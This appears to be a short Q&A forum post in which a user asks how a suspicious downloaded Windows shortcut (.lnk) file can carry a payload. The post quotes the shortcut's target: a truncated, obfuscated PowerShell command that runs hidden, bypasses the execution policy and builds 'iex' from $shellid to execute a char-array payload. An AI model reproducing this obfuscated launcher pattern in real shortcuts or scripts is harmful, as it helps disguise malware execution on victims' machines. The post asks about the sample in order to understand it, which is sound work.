title: Malware Using .Lnk file to Powershell
body: <p>I downloaded a file which I almost didn't think twice over, but the target (of the shortcut) caught my eye:</p>
  
  <pre><code>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoPr -WINd 1 -eXEc ByP  . ( $shelliD[1]+$SHeLlID[13]+'x') ([StrIng]::jOin( '',[CHar[]](36 ,97,115, 112 , 120,32 ,61,[omitting rest of code] 
  </code></pre>
  
  <p>There's no doubt that something fishy is going on here.  I understand the first three parameters, but what I couldn't quite figure out is how code of a payload like this would work in just a basic shortcut?</p>